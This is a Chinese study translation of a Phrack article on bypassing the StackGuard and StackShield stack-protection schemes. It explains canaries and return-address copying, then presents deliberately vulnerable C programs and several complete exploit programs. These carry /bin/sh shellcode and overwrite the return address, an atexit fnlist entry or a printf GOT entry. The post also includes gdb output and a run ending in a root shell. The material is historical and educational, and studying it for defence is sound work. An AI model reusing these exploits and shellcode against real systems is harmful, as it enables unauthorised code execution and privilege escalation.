Phrack-56-5:BYPASSING STACKGUARD AND STACKSHIELD 学习翻译
原文链接:http://phrack.org/issues/56/5.html#article
stackguard
就是加一个canary再返回地址和ebp之间
为了使canary 不容易被攻击者猜到,使用两种方式设置canary——“终止符”和“随机数”
终止符canary:
包含 NULL(0x00), CR (0x0d), LF (0x0a) and EOF (0xff)——这四个字符可以作为字符串的终止标志,导致溢出尝试无效
随机canary:
根据时间选随机数——攻击者不能在程序开始之前在可执行映像中找到canary
stackshield
创建一个独立的栈存储函数的返回地址,而且在被保护的函数前后添加代码,函数之前的代码将返回地址拷贝到一个特殊的表中,之后的代码讲返回地址拷贝回去,所以函数总是会返回到调用的地方——但是实际的返回地址并不会和之前储存的返回地址进行比较,而是直接协会,所以不能检测是否发生溢出
最新的版本中加入了抱回:调用函数指针不能指向在.text段中的地址——如果返回地址改变,程序停止执行。
破解方法一:对canary,两次拷贝函数破解
在缓冲区后有一个指针——所以不是所有 的函数都可以
[root@sg StackGuard]# cat vul.c
// Example vulnerable program.
int f (char ** argv)
{
int pipa; // useless variable
char *p;
char a[30];
p=a;
printf ("p=%x\t -- before 1st strcpy\n",p);
strcpy(p,argv[1]); // <== vulnerable strcpy()
printf ("p=%x\t -- after 1st strcpy\n",p);
strncpy(p,argv[2],16);
printf("After second strcpy ;)\n");
}
main (int argc, char ** argv) {
f(argv);
execl("back_to_vul","",0); //<-- The exec that fails
printf("End of program\n");
}
思路是:
先将p指针的值通过strcpy覆盖成ret的地址,然后通过后面的strncpy将p指向的地址的值进行修改,这样就可以绕开canary
需要条件:
1. 一个指针变量p在我们的缓冲区a[]后面、
2. 需要可以进行溢出点
3. 需要一个拷贝函数将p作为目的地,用户输入作为源,而且在溢出和拷贝之间没有对p进行初始化
所以说不是所有的函数都可以进行这种破解canary
[root@sg StackGuard]# cat ex.c
/* Example exploit no. 1 (c) by Lam3rZ 1999 :) */
char shellcode[] =
"\xeb\x22\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x31\xc0\xaa"
"\x89\xf9\x89\xf0\xab\x89\xfa\x31\xc0\xab\xb0\x08\x04"
"\x03\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xd9\xff"
"\xff\xff/bin/sh";
char addr[5]="AAAA\x00";
char buf[36];
int * p;
main() {
memset(buf,'A',32);
p = (int *)(buf+32);
*p=0xbffffeb4; // <<== let us point at RET
p = (int *)(addr);
*p=0xbfffff9b; // <<== new RET value
execle("./vul",shellcode,buf,addr,0,0);
}
关于xor canary的改进
Crispin Cowan——stackguard的提出者提出了一个补救方法
对随机的canary进行xor操作
canary校验代码在推出的时候,将canary和返回地址进行xor操作来计算展示random canary应该的值,如果ret addr被改过了,那么xor得到的canary就会不匹配。在不知道随机canary的值的情况下,攻击者计算不出来栈上canary的的值。
这个方法的关键在于不能让攻击者得到随机canary的值,
一开始,是在canary table周围设置red pages
但是EMSID的攻击可以利用指针来指向任意地址
mprotect()可以用来保护canary table被攻击者破坏
We informed Crispin that we’re going to write an article about it and his
response was:
“I think we can have a revised StackGuard compiler (with the XOR random
canary) ready for release on Monday.”
这个新版本就是stackshield——存储ret的 拷贝,然后在返回之前进行检查
如果我们有可以操作的指针,我们可以用它来改写来帮助我们的破解程序
比如说fnlist 结构——通过atexit()或者on_exit()注册函数
(按照ISO C的规定,一个进程可以登记至少32个函数,这些函数将由exit自动调用。atexit()注册的函数类型应为不接受任何参数的void函数。)
程序在退出的时候,需要调用exit(),大多数程序在结束执行或者是出错的时候回调用
[root@sg StackGuard]# gdb vul
GNU gdb 4.17.0.4 with Linux/x86 hardware watchpoint and FPU support
[...]
This GDB was configured as "i386-redhat-linux"...
(gdb) b main
Breakpoint 1 at 0x8048790
(gdb) r
Starting program: /root/StackGuard/c/StackGuard/vul
Breakpoint 1, 0x8048790 in main ()
(gdb) x/10x &fnlist
0x400eed78 <fnlist>: 0x00000000 0x00000002 0x00000003 0x4000b8c0
0x400eed88 <fnlist+16>: 0x00000000 0x00000003 0x08048c20 0x00000000
0x400eed98 <fnlist+32>: 0x00000000 0x00000000
可以看到调用了两个函数:_fini [0x8048c20] and _dl_fini [0x4000b8c0]
可以通过覆盖这些函数,fnlist是依赖libc库,所以在一类机器上的每个程序中都是一样的
下面就是当程序通过exit()来退出时来破解的
[root@sg StackGuard]# cat 3ex.c
/* Example exploit no. 2 (c) by Lam3rZ 1999 :) */
char shellcode[] =
"\xeb\x22\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x31\xc0\xaa"
"\x89\xf9\x89\xf0\xab\x89\xfa\x31\xc0\xab\xb0\x08\x04"
"\x03\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xd9\xff"
"\xff\xff/bin/sh";
char addr[5]="AAAA\x00";
char buf[36];
int * p;
main() {
memset(buf,'A',32);
p = (int *)(buf+32);
*p=0x400eed90; // <<== Address of entry in fnlist which we'll modify
p = (int *)(addr);
*p=0xbfffff9b; // <<== Address of new function to call (shellcode) :)
execle("./vul",shellcode,buf,addr,0,0);
}
stackguard 和 stackshield都不能对这种攻击进行保护
但是如果程序在退出的时候调用的是_exit()而不是exit()?
当我们覆盖了canary的时候,出来程序会调用__canary_death_handler() (this function is responsible for logging
the overflow attempt and terminating the process)
void __canary_death_handler (int index, int value, char pname[]) {
printf (message, index, value, pname) ;
syslog (1, message, index, value, pname) ;
raise (4) ;
exit (666) ;
}
We received some email from Perry Wagle wagle@cse.ogi.edu (another
Stackguard author): “I seem to have lost my change to have it call _exit()
instead…”. Currently StackGuard calls _exit().
现在基本用的都是_exit()
在美国的发型
如果整个系统都被stackguard和stackpatch(栈不可执行)保护怎么办?
破解stackpatch的方法就是patch GOT表——将指针的值指向GOT
试着在strncpy的时候改写p指针指向的地方(GOT),system的值可以计算出来
试着将printf的GOT表项改成system
但是不能成功——和参数有关系
改哪个表项需要看情况——有时候需要改的是在我们改动函数后面执行的函数
有时候如果缓冲区是最后一个本地变量,这个时候我们输入的可以作为参数——the first 4 bytes of the last local variable on the stack are treated as the first argument——Just make it point to “/bin/sh” or something similar.
覆盖GOT对于提到的三种防护都有用,可以用在当我们不能操作我们拷贝的整个内容但是只有部分的情况
更加常见的参数传递
一般来说不会将整个参数表传递,而更是一个字符串什么的
char dst_buffer[64]; /* final destination */
int f (char * string)
{
char *p;
char a[64];
p=dst_buffer; /* pointer initialization */
printf ("p=%x\t -- before 1st strcpy\n",p);
strcpy(a, string); /* string in */
/* parsing, copying, concatenating ... black-string-magic */
/* YES, it MAY corrupt our data */
printf ("p=%x\t -- after 1st strcpy\n",p);
strncpy(p, a, 64); /* string out */
printf("After second strcpy ;)\n");
}
int main (int argc, char ** argv) {
f(argv[0]); /* interaction */
printf("End of program\n");
}
只能给问题函数传一个字符串
当栈不可执行的时候我们不能讲GOT表改成栈上的地址——因为栈不可执行
Check out /proc/*/maps:
00110000-00116000 r-xp 00000000 03:02 57154
00116000-00117000 rw-p 00005000 03:02 57154
00117000-00118000 rw-p 00000000 00:00 0
0011b000-001a5000 r-xp 00000000 03:02 57139
001a5000-001aa000 rw-p 00089000 03:02 57139
001aa000-001dd000 rw-p 00000000 00:00 0
08048000-0804a000 r-xp 00000000 16:04 158
0804a000-0804b000 rw-p 00001000 16:04 158 <-- The GOT is here
bfffd000-c0000000 rwxp ffffe000 00:00 0
栈不可执行但是GOT表可以执行——只需要将shellcode拷贝到我们想要的位置,然后将GOT表项指向那个地方就行了
还要考虑信号(signals),函数的信号句柄试图利用一个改过的GOT 表项来调用喊,然后程序就死掉了——这个只是一个理论上的危险
一个更加实际的例子:
char global_buf[64];
int f (char *string, char *dst)
{
char a[64];
printf ("dst=%x\t -- before 1st strcpy\n",dst);
printf ("string=%x\t -- before 1st strcpy\n",string);
strcpy(a,string);
printf ("dst=%x\t -- after 1st strcpy\n",dst);
printf ("string=%x\t -- after 1st strcpy\n",string);
// some black magic is done with supplied string
strncpy(dst,a,64);
printf("dst=%x\t -- after second strcpy :)\n",dst);
}
main (int argc, char ** argv) {
f(argv[1],global_buf);
execl("back_to_vul","",0); //<-- The exec that fails
// I don't have any idea what it is for
// :)
printf("End of program\n");
}
dst指针在canary和ret之前,很难不改变canary也很难不被抓住
如何改变?
StackGuard and StackShield 在函数返回的时候检查RET,但是我们在返回之前还有很多时间来控制程序——改写下一个被调用的库函数的GOT表项——不需要担心本地变量的顺序——因为我们不在乎canary的状态
/* Example exploit no. 4 (c) by Lam3rZ 1999 :) */
char shellcode[] = // 48 chars :)
"\xeb\x22\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x31\xc0\xaa"
"\x89\xf9\x89\xf0\xab\x89\xfa\x31\xc0\xab\xb0\x08\x04"
"\x03\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xd9\xff"
"\xff\xff/bin/sh";
char buf[100];
int * p;
main() {
memset(buf,'A',100);
memcpy(buf+4,shellcode,48);
p = (int *)(buf+80); // <=- offset of second f() argument [dest one]
*p=0x8049f84;// <<== GOT entry of printf
p = (int *)(buf);
*p=0x8049f84+4;// <<== GOT entry of printf+4, there is our shellcode :)
execle("./vul2","vul2",buf,0,0);
}
结果:
[root@sg]# ./a.out
p=804a050 -- before 1st strcpy
argv1p=bfffff91 -- before 1st strcpy
p=8049f84 -- after 1st strcpy
argv1=41414141 -- after 1st strcpy
bash#
结论
StackGuard/StackShield 可以避免以为的缓冲区溢出
注意代码审计
使用StackGuard/StackShield/whatever会使系统性能下降,但是会提高安全性
本文探讨了StackGuard和StackShield的安全机制及其被绕过的可能性。介绍了canary和GOT表等概念,并展示了如何利用特定漏洞进行攻击,同时讨论了针对不同防御措施的有效对策。
4615

被折叠的 条评论
为什么被折叠?



